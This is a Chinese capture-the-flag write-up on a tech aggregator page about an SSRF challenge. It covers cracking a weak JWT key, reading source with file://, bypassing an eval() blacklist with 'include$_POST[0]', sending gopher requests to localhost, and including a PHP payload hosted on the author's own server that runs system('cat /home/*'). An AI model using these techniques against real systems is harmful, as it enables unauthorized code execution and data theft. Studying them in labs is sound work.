IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 一道ssrf -> 正文阅读

[PHP知识库]一道ssrf

前言 : 我最开始写文章的初衷是为了写给自己看的,然后记录自己的学习,也给自己留个回忆吧(感觉这个挺有意思的),然后现在可能慢慢会在意下读者的感受,嘻嘻。。。

然后这个题也不难,就是ssrf没学好,基础不够牢,也没咋遇到,然后记录一下,感觉还有点小意思吧。。。

那个环境没了,eee就没有截图啦。。。

开始是一个平台,然后我们是guest用户,然后提示我们要成admin嘛(下面那个是后面的截图,之前的没了)
在这里插入图片描述
然后是弱密钥,爆破,密钥为12345,然后改成admin用户,然后跳转到/index.php?comment=http://127.0.0.1/console.php
很明显的一个ssrf嘛,然后用file协议读了一些文件

console.php

 <?php
error_reporting(0);
require("functions.php");
$com = $_POST['com'];
// if(ssrf_check() && Limit_command($comment)){
echo $com;
if(ssrf_check()){
    if(isset($_POST['com'])){
        if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\(|\{|\}|<|>|\s/i", $com)){
                // assert($com);
                eval($com);
            }else{
                die('hack');
            }
            }

}else{
    die('<script>alert("非本地访问")</script>');
}

echo '

functions.php

 <?php
require("jwt.php");

function check(){
    $Jwt_token=$_COOKIE['token'];
    $getPayload_test=Jwt::verifyToken($Jwt_token);
    if($getPayload_test){
        if($getPayload_test['username']==="admin"){
           return true;
        }
    }
    return false;
}

function ssrf_check(){
    //获取客户端ip
    if(getenv("REMOTE_ADDR")){
        $ip = getenv("REMOTE_ADDR");
    }
    if($ip==='127.0.0.1'){
        return true;
    }
    return false;
}



?>

然后大至思路就出来了,就是gopher打console.php

然后正则是用com=include$_POST[0];这个绕过的

下面就是构造POST请求了,这里就是ssrf搞的少,当时没有很快的搞出来,现去搜了一波
在这里插入图片描述

然后要注意一下Content-Length的值

然后这样后,下一步打算怎么操作呢,是直接这样传这个POST嘛
在这里插入图片描述
我开始是这样想,然后发现传是传过去了,但是打不通。。。
在这里插入图片描述
然后我换了种就是
在这里插入图片描述
然后打通了,但是没找到flag,然后感觉要rce才行。。。
然后试了其他协议吧,发现都不行。。。。然后最后发现可以包含外网。。那就简单了呀

然后用这个
在这里插入图片描述
这里有个细节,就是3.php的内容我开始写的是
<?php system('ls'); ?>

然后打过去的回显发现是自己vps上的当前目录的文件,猜测是直接把php的内容给执行了,就有点像pearcmd那个东西的一个方法那种,也是今天上午才搞那个,然后就联想到了,最后猜flag在/home下,拿下

最后用的3.php的代码

<?php
echo "<?php system('cat /home/*');system('ls /home');?>";
?>

在这里插入图片描述
然后bp里的那个post数据先url加密一次,然后%0a替换成%0d%0a,再加密一次,然后直接gopher打就好

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-17 12:33:35  更:2021-11-17 12:34:09 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 13:20:02-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计